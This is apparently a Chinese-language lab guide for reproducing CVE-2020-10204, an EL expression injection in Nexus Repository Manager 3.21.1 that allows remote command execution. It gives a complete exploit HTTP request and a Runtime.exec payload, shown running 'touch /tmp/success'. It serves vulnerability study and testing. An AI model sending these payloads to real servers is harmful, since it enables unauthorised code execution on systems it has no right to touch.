Aaron
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51 lines
2.0 KiB
Markdown
51 lines
2.0 KiB
Markdown
# Nexus Repository Manager 3 远程命令执行漏洞（CVE-2020-10204）
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Nexus Repository Manager 3 是一款软件仓库，可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中，存在一处任意EL表达式注入漏洞，具有管理员权限的攻击者可以在目标服务器上执行任意命令。这个漏洞是CVE-2018-16621的绕过。
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参考链接：
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- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
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- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
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## 漏洞环境
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执行如下命令启动Nexus Repository Manager 3.21.1：
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```
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docker compose up -d
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```
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等待一段时间环境才能成功启动，访问`http://your-ip:8081`即可看到Web页面。
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该漏洞需要访问更新角色或创建角色接口，所以我们需要使用账号密码`admin:admin`登录后台。
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## 漏洞复现
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登录后台后，复制当前Cookie和CSRF Token，发送如下数据包，即可执行EL表达式：
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```
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POST /service/extdirect HTTP/1.1
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Host: your-ip
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Content-Length: 223
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X-Requested-With: XMLHttpRequest
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X-Nexus-UI: true
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
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NX-ANTI-CSRF-TOKEN: [csrf-token]
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Content-Type: application/json
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Accept: */*
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Origin: http://192.168.1.3:8081
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Referer: http://192.168.1.3:8081/
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[session-id]
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Connection: close
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{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
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```
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参考<https://github.com/jas502n/CVE-2020-10199>，使用表达式`$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}`即可成功执行任意命令：
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